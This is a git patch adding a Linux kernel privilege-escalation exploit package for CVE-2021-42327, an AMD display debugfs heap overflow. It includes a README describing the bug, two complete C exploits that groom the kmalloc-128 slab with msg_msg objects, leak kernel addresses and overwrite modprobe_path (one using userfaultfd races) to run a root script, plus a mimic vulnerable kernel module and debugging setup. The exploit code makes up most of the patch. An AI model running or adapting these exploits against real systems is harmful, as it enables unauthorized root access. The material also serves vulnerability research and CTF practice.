From 62b9a13d8f3c0e76b1eaf32843ab7c62f863e45a Mon Sep 17 00:00:00 2001 From: travelrounder Date: Thu, 23 Mar 2023 08:29:25 +0000 Subject: [PATCH 1/3] CVE-2021-42327 Signed-off-by: travelrounder --- .../2021/CVE-2021-42327/README.md | 55 +++ .../2021/CVE-2021-42327/exploit.c | 229 +++++++++ .../2021/CVE-2021-42327/exploit_userfaultfd.c | 466 ++++++++++++++++++ .../2021/CVE-2021-42327/gdbscript | 5 + .../2021/CVE-2021-42327/module/Makefile | 11 + .../2021/CVE-2021-42327/module/cdev.c | 214 ++++++++ .../2021/CVE-2021-42327/module/cdev.ko | Bin 0 -> 306016 bytes .../2021/CVE-2021-42327/run_challenge.sh | 16 + cve/linux-kernel/2021/CVE-2021-42327/setup.sh | 10 + 9 files changed, 1006 insertions(+) create mode 100644 cve/linux-kernel/2021/CVE-2021-42327/README.md create mode 100644 cve/linux-kernel/2021/CVE-2021-42327/exploit.c create mode 100644 cve/linux-kernel/2021/CVE-2021-42327/exploit_userfaultfd.c create mode 100644 cve/linux-kernel/2021/CVE-2021-42327/gdbscript create mode 100644 cve/linux-kernel/2021/CVE-2021-42327/module/Makefile create mode 100644 cve/linux-kernel/2021/CVE-2021-42327/module/cdev.c create mode 100644 cve/linux-kernel/2021/CVE-2021-42327/module/cdev.ko create mode 100644 cve/linux-kernel/2021/CVE-2021-42327/run_challenge.sh create mode 100644 cve/linux-kernel/2021/CVE-2021-42327/setup.sh diff --git a/cve/linux-kernel/2021/CVE-2021-42327/README.md b/cve/linux-kernel/2021/CVE-2021-42327/README.md new file mode 100644 index 00000000..cec71f8a --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/README.md @@ -0,0 +1,55 @@ +# CVE-2021-42327 + +SLUB overflow exploit + +## Introductuion + +This bug is kind of useless except if the specific driver is present, the debugfs is enabled, and the debugfs is somehow accessible to non-root users. I didn’t have the gaming laptop or GPU for this specific driver so I just copied the vulnerable function and function it is used in into QEMU for exploiting. The vulnerability was introduced somewhere in the Linux Kernel 5.8-rc2 branch and fixed in 5.14.15. I found it by auditing the source for a long time and reporting it to AMD. They fixed the bug quickly and found other places it was present. I also reported it to MITRE and they assigned it the CVE. + +## Vulnerability + +The bug is a simple typo, we all make mistakes and C is unforgiving. Instead of wr_buf_size, size(which is user-controlled) is passed into all of the write functions, allowing SLUB buffer overflow. In the SLUB(Linux kernel’s heap), allocations are placed into caches based on size. For example, an allocation between 32 and 64 bytes goes into the kmalloc-64 “slab” or cache and an allocation between 64 and 96 bytes would go into the kmalloc-96 slab. In the driver, there were three basic heap overflows in two in kmalloc-64 buffers and one in a kmalloc-128 buffer. In dp_phy_test_pattern_debugfs_write + + + uint32_t wr_buf_size = 100; + long param[11] = {0x0}; + int max_param_num = 11; + ...... + + wr_buf = kcalloc(wr_buf_size, sizeof(char), GFP_KERNEL); + if (!wr_buf) + return -ENOSPC; + + if (parse_write_buffer_into_params(wr_buf, size, + (long *)param, buf, + max_param_num, + ¶m_nums)) { + + +And then within the parsing function the copy from userspace happens: + + + static int parse_write_buffer_into_params(char *wr_buf, uint32_t wr_buf_size, + long *param, const char __user *buf, + int max_param_num, + uint8_t *param_nums) + { + char *wr_buf_ptr = NULL; + uint32_t wr_buf_count = 0; + int r; + char *sub_str = NULL; + const char delimiter[3] = {' ', '\n', '\0'}; + uint8_t param_index = 0; + + *param_nums = 0; + + wr_buf_ptr = wr_buf; + + r = copy_from_user(wr_buf_ptr, buf, wr_buf_size); + + /* r is bytes not be copied */ + if (r >= wr_buf_size) { + DRM_DEBUG_DRIVER("user data not be read\n"); + return -EINVAL; + } + diff --git a/cve/linux-kernel/2021/CVE-2021-42327/exploit.c b/cve/linux-kernel/2021/CVE-2021-42327/exploit.c new file mode 100644 index 00000000..a14f697d --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/exploit.c @@ -0,0 +1,229 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PAGE_SIZE 4096 +#define SLAB_NAME "kmalloc-128" +#define MSG_COPY 040000 + +int fd = -1; +unsigned long modprobe_path = 0; +char* script_path = "/tmp/x\x00"; +unsigned long queue; +int qid[4]; + +void open_dev(){ + fd = open("/dev/vuln", O_RDWR); + if(fd < 0){ + puts("[!] Error opening device"); + exit(-1); + } + puts("[*] Opened device"); +} + +void dev_write(char* buf, size_t n){ + if(write(fd, buf, n)<0) { + puts("[!] Error writing to device"); + //exit(-1); + } else { + puts("[*] Wrote to device"); + } +} + +#define HEADER_SZ 48 +#define MSIZE 128-HEADER_SZ + +struct { + long mtype; + char mtext[MSIZE]; +} msg; + +int make_q(int type) { + msg.mtype = type; + int id = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); + if(id == -1) { + perror("msgget"); + return -1; + } + return id; +} + +void send_msg(int qid, int size, int c) { + size_t msize = size - HEADER_SZ; + struct { + long mtype; + char mtext[msize]; + } msg; + msg.mtype = 1; + memset(msg.mtext, c, msize); + msg.mtext[msize-1] = 0; + if(msgsnd(qid, &msg, msize, 0) == -1) { + perror("msgsnd"); + exit(1); + } +} + +void hex_dump(char *buff, unsigned long size) { + int i,j; + for (i = 0; i < size/8; i++) { + if(i % 2 == 0) { + if (i != 0) + printf(" \n"); + printf(" %04x ", i*8); + } + unsigned long ptr = ((unsigned long *)(buff))[i]; + printf("0x%016lx", ptr); + printf(" "); + } + printf("\n"); +} + +void check_slab(char *slab_name, int *active, int *total) { + FILE *fp; + char buff[1024], name[64]; + int active_num, total_num; + fp = fopen("/proc/slabinfo", "r"); + if (!fp) { + perror("fopen"); + return; + } + while (fgets(buff, 1024, fp) != NULL) { + sscanf(buff, "%s %u %u", name, &active_num, &total_num); + if (!strcmp(slab_name, name)) { + *active = active_num; + *total = total_num; + return; + } + } +} + +void print_slab_info() { + int total_num, active_num; + check_slab(SLAB_NAME, &active_num, &total_num); + printf("[+] Checking slab total: %d active: %d free: %d\n", + total_num, active_num, total_num-active_num); +} + +void warm_heap(int n) { + memset(msg.mtext, 0x69, MSIZE-1); + msg.mtext[MSIZE-1] = 0; + msg.mtype = 2; + int msqids[n]; + size_t i; + printf("[*] Allocating %d msg_msg\n", n); + for(i=0; i (B) k4096 header msg_next --> k4096 data + * 3 socket -> modprobe leak + **/ + char buff[80]; + // free and replace message with victim buffer to overflow + msgrcv(qid[0], buff, 80, 1, MSG_NOERROR | IPC_NOWAIT); + dev_write((char*)evil, evilsz); + puts("[*] Wrote into freed buffer"); + char* leaked = (char*)calloc(leak_sz, 1); + int res = msgrcv(qid[1], leaked, leak_sz, 0, MSG_COPY | IPC_NOWAIT); + if(res>80) { + //hex_dump(leaked, leak_sz); + unsigned long leaked_addr[leak_sz/sizeof(unsigned long)]; + memcpy(leaked_addr, leaked, leak_sz); + printf("[*] Modprobe_path: 0x%lx\n", leaked_addr[32]); + modprobe_path = leaked_addr[32]; + } else { + puts("[!] Error overwriting m_ts "); + } +} + +void make_script() { + system("echo '#!/bin/sh\ncp /root/flag /home/ctf/flag\nchmod 777 /home/ctf/flag' > /tmp/x "); + system("chmod +x /tmp/x"); + system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); + system("chmod +x /tmp/dummy"); + system("/tmp/dummy"); +} + +void arb_write() { + memset(evil, 0, 50*sizeof(unsigned long)); + for(size_t i=0; i<12; i++){ + evil[i] = 0xa; // make driver stop parsing params + } + evil[24] = modprobe_path-48; + evil[40] = modprobe_path-48; + evil[56] = modprobe_path-48; + puts("[*] Overwriting freelist pointer"); + warm_heap(80); + dev_write((char*)evil, sizeof(unsigned long)*56); + + struct { + long mtype; + char mtext[MSIZE]; + } msg; + msg.mtype = 3; + memset(msg.mtext, 0x0, MSIZE); + memcpy(msg.mtext, script_path, 6); + for(size_t i=0; i<30; i++){ + if(msgsnd(qid[2], &msg, MSIZE, 0) == -1) { + perror("msgsnd"); + exit(1); + } + } +} + +int main() { + open_dev(); + leak(); + if(modprobe_path) { + arb_write(); + make_script(); + } else { + puts("[*] Offset not found"); + } +} diff --git a/cve/linux-kernel/2021/CVE-2021-42327/exploit_userfaultfd.c b/cve/linux-kernel/2021/CVE-2021-42327/exploit_userfaultfd.c new file mode 100644 index 00000000..50d18d8d --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/exploit_userfaultfd.c @@ -0,0 +1,466 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PAGE_SIZE 4096 +#define SLAB_NAME "kmalloc-128" +#define MSG_COPY 040000 +#define LAST_5(x) (x & 0xfffff) + +int fd = -1; +int ufd_qid; +int qid[4]; +unsigned long offset = 0; +unsigned long next = 0; +void* page_1; +void* page_2; +pthread_t thread1, thread2; +pthread_t pfthread1, pfthread2; +int release_pfh_1 = 0; +unsigned long modprobe_path = 0; +char* script_path = "/tmp/x\x00"; +unsigned long queue; + +void open_dev(){ + fd = open("/dev/vuln", O_RDWR); + if(fd < 0){ + puts("[!] Error opening device"); + exit(-1); + } + puts("[*] Opened device"); +} + +void dev_write(char* buf, size_t n){ + if(write(fd, buf, n)<0) { + puts("[!] Error writing to device"); + //exit(-1); + } else { + puts("[*] Wrote to device"); + } +} + +char* dev_read(char* buf) { + char* output = (char*)read(fd, buf, sizeof(buf)); + if (output <= 0){ + puts("[!] Error reading from device"); + exit(-1); + } + puts("[*] Read from device"); + return output; +} + +#define HEADER_SZ 48 +#define MSIZE 128-HEADER_SZ + +struct { + long mtype; + char mtext[MSIZE]; +} msg; + +int make_q(int type) { + msg.mtype = type; + int id = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); + if(id == -1) { + perror("msgget"); + return -1; + } + return id; +} + +void send_msg(int qid, int size, int c) { + size_t msize = size - HEADER_SZ; + struct { + long mtype; + char mtext[msize]; + } msg; + msg.mtype = 1; + memset(msg.mtext, c, msize); + msg.mtext[msize-1] = 0; + if(msgsnd(qid, &msg, msize, 0) == -1) { + perror("msgsnd"); + exit(1); + } +} + +void hex_dump(char *buff, unsigned long size) { + int i,j; + for (i = 0; i < size/8; i++) { + if(i % 2 == 0) { + if (i != 0) + printf(" \n"); + printf(" %04x ", i*8); + } + unsigned long ptr = ((unsigned long *)(buff))[i]; + printf("0x%016lx", ptr); + printf(" "); + } + printf("\n"); +} + +void check_slab(char *slab_name, int *active, int *total) { + FILE *fp; + char buff[1024], name[64]; + int active_num, total_num; + fp = fopen("/proc/slabinfo", "r"); + if (!fp) { + perror("fopen"); + return; + } + while (fgets(buff, 1024, fp) != NULL) { + sscanf(buff, "%s %u %u", name, &active_num, &total_num); + if (!strcmp(slab_name, name)) { + *active = active_num; + *total = total_num; + return; + } + } +} + +void print_slab_info() { + int total_num, active_num; + check_slab(SLAB_NAME, &active_num, &total_num); + printf("[+] Checking slab total: %d active: %d free: %d\n", + total_num, active_num, total_num-active_num); +} + +int isKernel(unsigned long a){ + return (a > 0xffffffff00000000); +} + +unsigned long evil[50]; + +void leak() { + // create buffer to overflow with: + size_t evilsz = 160; + memset(evil, 0, evilsz); + for(size_t i=0; i<12; i++){ + evil[i] = 0xa; // make driver stop parsing params + } + evil[16] = (unsigned long)0x4141414141414141; + evil[17] = (unsigned long)0x4242424242424242; // struct list_head m_list; + evil[18] = (unsigned long)0x000; // long m_type; + int leak_sz = 0x200; + evil[19] = leak_sz; // size_t m_ts; + qid[0] = make_q(1); + qid[1] = make_q(1); + qid[2] = make_q(1); + send_msg(qid[0], 128, 0x40); + send_msg(qid[1], 128, 0x41); + send_msg(qid[2], 128, 0x42); + send_msg(qid[2], 8184, 0x43); + socket(22, AF_INET, 0); + /* + * 0 : will be replaced with victim + * 1 : overflowed + * 2 list head next ---> (B) k4096 header msg_next --> k4096 data + * 3 socket -> modprobe leak + **/ + char buff[80]; + // free and replace message with victim buffer to overflow + msgrcv(qid[0], buff, 80, 1, MSG_NOERROR | IPC_NOWAIT); + dev_write((char*)evil, evilsz); + puts("[*] Wrote into freed buffer"); + char* leaked = (char*)calloc(leak_sz, 1); + int res = msgrcv(qid[1], leaked, leak_sz, 0, MSG_COPY | IPC_NOWAIT); + if(res>80) { + hex_dump(leaked, leak_sz); + unsigned long leaked_addr[leak_sz/sizeof(unsigned long)]; + memcpy(leaked_addr, leaked, leak_sz); + printf("[*] Leaked 0x%x bytes\n", res); + next = leaked_addr[11]; + printf("[*] Next pointer is 0x%lx\n", next); + queue = leaked_addr[12]; + for(size_t i=0; i < leak_sz/sizeof(unsigned long); i++) { + if(isKernel(leaked_addr[i]) && LAST_5(leaked_addr[i]) == 0x48700) { + printf("[*] Modprobe_path: 0x%lx\n", leaked_addr[i]); + modprobe_path = leaked_addr[i]; + offset = (unsigned long)(leaked_addr - 0xffffffff82648700); + break; + } + } + } else { + puts("[!] Error overwriting m_ts "); + } +} + +int userfaultfd(int flags) { + return syscall(SYS_userfaultfd, flags); +} + +int initialize_ufd(void *page) { + int fd; + struct uffdio_register reg; + if((fd = userfaultfd(O_NONBLOCK)) == -1) { + puts("[!] Userfaultfd failed"); + exit(1); + } + if((ufd_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) { + puts("[!] Msgget ufd failed"); + exit(1); + } + struct uffdio_api api = { .api = UFFD_API }; + if(ioctl(fd, UFFDIO_API, &api)) { + puts("[!] Userfaultfd ioctl - UFFDIO_API failed"); + exit(1); + } + if(api.api != UFFD_API) { + puts("[!] Unexepcted UFFD api version!"); + exit(1); + } + printf("[*] Start monitoring range: %p - %p\n", page + PAGE_SIZE, page + PAGE_SIZE*2); + reg.mode = UFFDIO_REGISTER_MODE_MISSING; + reg.range.start = (long)(page + PAGE_SIZE); + reg.range.len = PAGE_SIZE; + if(ioctl(fd, UFFDIO_REGISTER, ®)) { + puts("[!] ioctl - UFFDIO_REGISTER failed"); + exit(1); + } + return fd; +} + +void *page_fault_handler_1(void *_ufd) { + struct pollfd pollfd; + struct uffd_msg fault_msg; + struct uffdio_copy ufd_copy; + struct uffdio_range ufd_range; + pid_t pid; + int ufd = *((int *)_ufd); + pollfd.fd = ufd; + pollfd.events = POLLIN; + puts("[PFH 1] Started!"); + while(poll(&pollfd, 1, -1) > 0) { + if((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP)){ + puts("[!] Polling failed"); + //exit(1); + } + //if( + read(ufd, &fault_msg, sizeof(fault_msg)); + /* != sizeof(fault_msg)){ + puts("[!] Read - fault_msg failed"); + exit(1); + }*/ + char *page_fault_location = (char *)fault_msg.arg.pagefault.address; + if(fault_msg.event != UFFD_EVENT_PAGEFAULT){ + puts("[!] Unexpected pagefault?"); + //exit(1); + } + if(page_fault_location == page_1 + PAGE_SIZE) { + printf("[PFH 1] Page fault at 0x%lx\n", (unsigned long)page_fault_location); + unsigned long buff[PAGE_SIZE/sizeof(unsigned long)]; + // write the address of modprobe_path to F's next pointer + buff[0] = next; + buff[1] = next; + buff[2] = 1; + buff[3] = 0x1000; + buff[4] = modprobe_path; + puts("[PFH 1] Releasing faulting thread"); + ufd_copy.dst = (unsigned long)(page_fault_location); + ufd_copy.src = (unsigned long)(&buff); + ufd_copy.len = PAGE_SIZE; + ufd_copy.mode = 0; + ufd_copy.copy = 0; + for(;;) { + if(release_pfh_1){ + if(ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0){ + puts("ioctl(UFFDIO_COPY)"); + exit(1); + } + puts("[PFH 1] Faulting thread released"); + break; + } + } + } + } +} + +void *page_fault_handler_2(void *_ufd){ + struct pollfd pollfd; + struct uffd_msg fault_msg; + struct uffdio_copy ufd_copy; + struct uffdio_range ufd_range; + pid_t pid; + int ufd = *((int *)_ufd); + pollfd.fd = ufd; + pollfd.events = POLLIN; + puts("[PFH 2] Started!"); + while(poll(&pollfd, 1, -1) > 0) { + if((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP)) { + puts("[!] Polling failed"); + //exit(1); + } + //if( + read(ufd, &fault_msg, sizeof(fault_msg)); + // != sizeof(fault_msg)) { + /* puts("[!] Read - fault_msg failed"); + exit(1); + }*/ + char *page_fault_location = (char *)fault_msg.arg.pagefault.address; + if(fault_msg.event != UFFD_EVENT_PAGEFAULT) { + puts("[!] Unexpected pagefault?"); + //exit(1); + } + if(page_fault_location == page_2 + PAGE_SIZE) { + printf("[PFH 2] Page fault at 0x%lx\n", page_fault_location); + unsigned long buff[PAGE_SIZE/sizeof(unsigned long)]; + memset(buff, 0, PAGE_SIZE/sizeof(unsigned long)); + memcpy(buff, script_path, 6); + memcpy(buff+8, script_path, 6); + release_pfh_1 = 1; + sleep(10); + // buff is what will be written to modprobe_path + puts("[PFH 2] Releasing faulting thread"); + ufd_copy.dst = (unsigned long)(page_fault_location); + ufd_copy.src = (unsigned long)(&buff); + ufd_copy.len = PAGE_SIZE; + ufd_copy.mode = 0; + ufd_copy.copy = 0; + if(ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0) { + puts("[!] ioctl(UFFDIO_COPY)"); + //exit(1); + } + puts("[PFH 2] Faulting thread released"); + } + } +} + +void* alloc1(void* arg) { + printf("[Thread 1] Message buffer allocated at %p\n", page_1 + PAGE_SIZE - 0x10); + qid[2] = make_q(1); + memset(page_1, 0, PAGE_SIZE); + ((unsigned long *)(page_1))[0xff0 / 8] = 1; + if(msgsnd(qid[2], page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0)) { + puts("[!] Error msgsnd in alloc1"); + exit(-1); + } + puts("[Thread 1] Message sent, *next overwritten!"); +} + +void* alloc2(void* arg) { + printf("[Thread 2] Message buffer allocated at 0x%p\n", page_2+PAGE_SIZE-0x10); + qid[3] = make_q(1); + memset(page_2, 0, PAGE_SIZE); + ((unsigned long *)(page_1))[0xff0 / 8] = 1; + int res = msgsnd(qid[3], page_2 + PAGE_SIZE - 0x10, 0x1028 - 0x30, 0); + if(res < page_2 + PAGE_SIZE - 0x10){ + printf("[!] Error %d msgsnd in alloc2\n", res); + exit(-1); + } +} + +void setup_user_pages() { + page_1 = (void*)mmap((void *)0xdead000, PAGE_SIZE*3, + PROT_READ|PROT_WRITE, + MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); + page_2 = (void*)mmap((void *)0xcafe000, PAGE_SIZE*3, + PROT_READ|PROT_WRITE, + MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); + int ufd_1 = initialize_ufd(page_1); + int ufd_2 = initialize_ufd(page_2); + pthread_create(&pfthread1, 0, page_fault_handler_1, &ufd_1); + pthread_create(&pfthread2, 0, page_fault_handler_2, &ufd_2); +} + +void setup_overflow() { + // we want to make next point to new segment + evil[16] = (unsigned long)0x41; + evil[17] = (unsigned long)0x42; // struct list_head m_list; + evil[18] = 1; + evil[19] = 0x50; + evil[20] = next+0x1000; // segment +} + +void arb_write() { + setup_user_pages(); + // 3. Free B (only chunk in k4096) + char buff[8136]; + msgrcv(qid[2], buff, 8136, 1, MSG_NOERROR | IPC_NOWAIT); + msgrcv(qid[2], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT); + + // 4. Start a new thread allocate new message D(and segment) in k4096 + // hang the thread via userfault handler + /* + * k128 k4096 -----> segment k4096 + * D qid[2] + * Pagefault 1 + * + */ + pthread_create(&thread1, 0, alloc1, 0); + + // 5. Allocate new chunk E adjacent to victim to overflow + // overwrite next to point to segment F + /* + * k128 + * victim + * E (overwrite next) -------------------------> segment + * (D) k4096 ----------------------^ + */ + qid[0] = make_q(1); + qid[1] = make_q(1); + send_msg(qid[0], 128, 0x44); + send_msg(qid[1], 128, 0x45); + setup_overflow(); + // free to replace with victim + msgrcv(qid[0], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT); + dev_write((char*)evil, 21*sizeof(unsigned long)); + + // 6. Freeing E now also frees segment since msg_next points to it + /* + * k4096 (D) -> segment(now freed with E) + * */ + msgrcv(qid[1], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT); + + // 7. Create thread2 and allocate F which will be at the address of the + // last freed segment so that D -> F and hang the thread + /* + *k4096 (D) -> F(2nd page fault) -> F's segment + * + */ + pthread_create(&thread2, 0, alloc2, 0); + // 8. release first thread to write the address of modprobe_path to + // F's msg_next pointer(this is done in page_fault_handler2) + /* + * k4096 (D) -> F(2nd page fault) -> modprobe_path + * prev, next + * + * msg_next + * + * now when 2nd page fault is released it will write to modprobe_path + * + */ + //pthread_join(thread1, 0); + // then resume F so it writes to that pointer + //pthread_join(thread2, 0); +} + +void make_script() { + system("echo '#!/bin/sh\necho rooted' > /tmp/x "); + system("chmod +x /tmp/x"); + system("echo -ne '\\xff\\xff\\xff\\xff\\xff' > /tmp/dummy"); + system("chmod +x /tmp/dummy"); + system("/tmp/dummy"); +} + +int main() { + open_dev(); + // leak to get around aslr + leak(); + // ffffffff8107e300 t call_usermodehelper_exec_work + // ffffffff82648700 D modprobe_path + if(offset){ + arb_write(); + } + make_script(); +} diff --git a/cve/linux-kernel/2021/CVE-2021-42327/gdbscript b/cve/linux-kernel/2021/CVE-2021-42327/gdbscript new file mode 100644 index 00000000..4d8fdfff --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/gdbscript @@ -0,0 +1,5 @@ +gef config context.layout "-legend regs stack code -args source -threads -trace -extra -memory" +add-symbol-file module/cdev.ko 0xffffffffc0000000 +b 91 +target remote :1234 +c diff --git a/cve/linux-kernel/2021/CVE-2021-42327/module/Makefile b/cve/linux-kernel/2021/CVE-2021-42327/module/Makefile new file mode 100644 index 00000000..88f80c3f --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/module/Makefile @@ -0,0 +1,11 @@ +obj-m += cdev.o + +KDIR = ../linux-5.8.1 +MY_CFLAGS += -g -DDEBUG +ccflags-y += ${MY_CFLAGS} +CC += ${MY_CFLAGS} +all: + $(MAKE) -C $(KDIR) M=$(shell pwd) modules EXTRA_CFLAGS="$(MY_CFLAGS)" && cp cdev.ko ../fs + +clean: + rm -rf *.o *.ko *.mod.* *.symvers *.order diff --git a/cve/linux-kernel/2021/CVE-2021-42327/module/cdev.c b/cve/linux-kernel/2021/CVE-2021-42327/module/cdev.c new file mode 100644 index 00000000..66da4e95 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/module/cdev.c @@ -0,0 +1,214 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +MODULE_DESCRIPTION("mimic vuln device"); +MODULE_AUTHOR("th3lsh3ll"); +MODULE_LICENSE("GPL"); + +#define LOG_LEVEL KERN_INFO + +#define MY_MAJOR 42 +#define MY_MINOR 0 +#define NUM_MINORS 1 +#define MODULE_NAME "vuln" +#define DEVICE_NAME "vuln" +dev_t dev_num; +struct cdev *mcdev; +int major_number; + +static int vuln_open(struct inode *inode, struct file *file) +{ + return 0; +} + +static int +vuln_release(struct inode *inode, struct file *file) +{ + return 0; +} + +static ssize_t +dp_link_settings_read(struct file *f, + char __user *buf, + size_t size, loff_t *pos) +{ +// https://elixir.bootlin.com/linux/latest/source/drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm_debugfs.c#L179 + char *rd_buf_ptr = NULL; + if(*pos & 3 || size & 3) + return -EINVAL; + char* rd_buf = kcalloc(100, sizeof(char), GFP_KERNEL); + uint32_t result = 0; + if(!rd_buf) + return 0; + rd_buf_ptr = rd_buf; + const uint32_t rd_buf_size = 100; + int lane_count = 0; + int link_rate = 1; + int link_spread = 2; + uint8_t str_len = 0; + int r; + size_t i; + for(i = 0; i < 4; i++) { + str_len = strlen("Reported: %d 0x%x %d "); + snprintf(rd_buf_ptr, str_len, "Reported: %d 0x%x %d ", + lane_count, link_rate, link_spread); + rd_buf_ptr += str_len; + } + while (size) { + if (*pos >= rd_buf_size) + break; + r = put_user(*(rd_buf + result), buf); + if (r) + return r; + buf += 1; + size -= 1; + *pos += 1; + result += 1; + } + kfree(rd_buf); + return result; +} + +static int parse_write_buffer_into_params(char *wr_buf, uint32_t wr_buf_size, + long *param, const char __user *buf, + int max_param_num, uint8_t *param_nums) +{ + char *wr_buf_ptr = NULL; + uint32_t wr_buf_count = 0; + int r; + char* sub_str = NULL; + const char delimiter[3] = {' ', '\n', '\0'}; + uint8_t param_index = 0; + *param_nums = 0; + wr_buf_ptr = wr_buf; + r = copy_from_user(wr_buf_ptr, buf, wr_buf_size); + if (r >= wr_buf_size) { + printk(LOG_LEVEL "user data could not be read\n"); + return -EINVAL; + } + /* check number of parameters. isspace could not differ space and \n */ + while ((*wr_buf_ptr != 0xa) && (wr_buf_count < wr_buf_size)) { + /* skip space*/ + printk("[thelshell] wr_buf_ptr %d wr_buf_count %d\n wr_buf_size %d *param_nums %d\n", *wr_buf_ptr, wr_buf_count, wr_buf_size, *param_nums); + while (isspace(*wr_buf_ptr) && (wr_buf_count < wr_buf_size)) { + wr_buf_ptr++; + wr_buf_count++; } + if (wr_buf_count == wr_buf_size) + break; + /* skip non-space*/ + while ((!isspace(*wr_buf_ptr)) && (wr_buf_count < wr_buf_size)) { + wr_buf_ptr++; + wr_buf_count++; + } + (*param_nums)++; + if (wr_buf_count == wr_buf_size) { + break; + } + } + if (*param_nums > max_param_num) + *param_nums = max_param_num; + printk("[thelshell] param_index %d param_nums %d\n", param_index, *param_nums); + wr_buf_ptr = wr_buf; /* reset buf pointer */ + wr_buf_count = 0; /* number of char already checked */ + while (isspace(*wr_buf_ptr) && (wr_buf_count < wr_buf_size)) { + wr_buf_ptr++; + wr_buf_count++; + } + while (param_index < *param_nums) { + /* after strsep, wr_buf_ptr will be moved to after space */ + sub_str = strsep(&wr_buf_ptr, delimiter); + r = kstrtol(sub_str, 16, &(param[param_index])); + if (r) + printk(LOG_LEVEL "[sanity_check] string to int convert error code: %d\n", r); + param_index++; + } + return 0; +} + +static ssize_t dp_phy_test_pattern_debugfs_write(struct file *f, const char __user *buf, + size_t size, loff_t *pos) +{ +// https://elixir.bootlin.com/linux/v5.14.15/source/drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm_debugfs.c#L610 + char *wr_buf = NULL; + uint32_t wr_buf_size = 100; + long param[11] = {0x0}; + int max_param_num = 11; + bool disable_hpd = false; + bool valid_test_pattern = false; + uint8_t param_nums = 0; + /* init with default 80bit custom pattern */ + uint8_t custom_pattern[10] = { + 0x1f, 0x7c, 0xf0, 0xc1, 0x07, + 0x1f, 0x7c, 0xf0, 0xc1, 0x07 + }; + if (size == 0) + return -EINVAL; + + wr_buf = kcalloc(wr_buf_size, sizeof(char), GFP_KERNEL); + if (!wr_buf) + return -ENOSPC; + + if (parse_write_buffer_into_params(wr_buf, size, + (long *)param, buf, + max_param_num, + ¶m_nums)) { + kfree(wr_buf); + return -EINVAL; + } + + if (param_nums <= 0) { + kfree(wr_buf); + printk("user data not be read\n"); + return -EINVAL; + } + return size; +} + +static const struct file_operations fops = { + .owner = THIS_MODULE, + .open = vuln_open, + .release = vuln_release, + .read = dp_link_settings_read, + .write = dp_phy_test_pattern_debugfs_write, +}; + +static int vuln_init(void) +{ + printk( LOG_LEVEL "Registering the char device"); + if (alloc_chrdev_region(&dev_num, 0, 1, DEVICE_NAME) < 0) { + printk(KERN_ALERT "failed to allocate major number\n"); + return -EINVAL; + } else { + printk(KERN_INFO "major number allocated successfully\n"); + } + major_number = MAJOR(dev_num); + printk(KERN_INFO "major number %d\n", major_number); + printk(KERN_INFO "use mknod /dev/%s c %d 0\n", DEVICE_NAME, major_number); + mcdev = cdev_alloc(); + mcdev->ops = &fops; + mcdev->owner = THIS_MODULE; + if (cdev_add(mcdev, dev_num, 1) < 0) { + printk(KERN_INFO "adding device to kernel failed\n"); + } else { + printk(KERN_INFO "added device to kernel\n"); + } + return 0; +} + +static void vuln_exit(void) +{ + cdev_del(mcdev); + printk( LOG_LEVEL "Unregistering char device"); + unregister_chrdev_region(dev_num, 1); +} + +module_init(vuln_init); +module_exit(vuln_exit); diff --git a/cve/linux-kernel/2021/CVE-2021-42327/module/cdev.ko b/cve/linux-kernel/2021/CVE-2021-42327/module/cdev.ko new file mode 100644 index 0000000000000000000000000000000000000000..92b954968415ded80740fc9396bca9261cf0f506 GIT binary patch literal 306016 zcmeFad3;sX)&GBndy{=Lo}2L|xk)Z0K$t_A!kEh(6fh!alqn$ti3AceU=Y-ZfQcZW zIG`e;qN3H7T5Hi(jU#FwD{8g0eOj@DV{O&?ShZSzYpu^dH^)BD@B8}wUcY~Se>}eA z-1XjT?X~B9_Bm&tlgsBVns1q=;r?eDGmQaqLk*+m4qptSB1Mf7W0=9A8T8Mle+!l@ zH!5CftN7-#t~tLrKk>^aE}4JzySc`NaikNUbXe59v8$Wd{cl|VGmVX7QVX|BK;yny z=gm5I*78})mY-93uk~#bUW=_)`n7={6Ue&sEl)TG;oC z9sOOUeP1lRCTV76-&b>o_b;0Ax6X-`SAJXHS-}x~5~=da6XuTo&R z%Dz)8R?S*DYt^jPv(`K_?zbO)P}z5>(f7=vzIP?chrg*jG0))g^*uwn6VH6`?YG~4 z_#7Gj&QoLmz5X6e>ru7WO?yRoXfJcqD@M)K3p_uituQN{mwj{Np?EvW2!dQsmy zi~9a1vEHXZqw+-mpD4$byE==T8Y;(6kSuhCsOW8;a+8&m>y$)HO_Zpf^6AWpw(`UY zb}TZw!V}z(5@pJB7e~B$H!Ipdax?jr)9F z`9C(*RbJCs+)%0e#2MFQ{QU`s6X-i3E~#x&xR(!94E1R9!{<1gS>9~MO7Q1dS3YZU zmbWja)_MQae^C?ly*F?BpHg>_Um7WBLa)p3)S)M-ai3SBiXP);@W$BDzd6mz$GMH4 z@rLZ0$f@a&r~aDJCyb`egz9;Zg(#pEL!Dx@Qf&H8RGx@NA^Q18EGZMI-Xv+L{2MN9 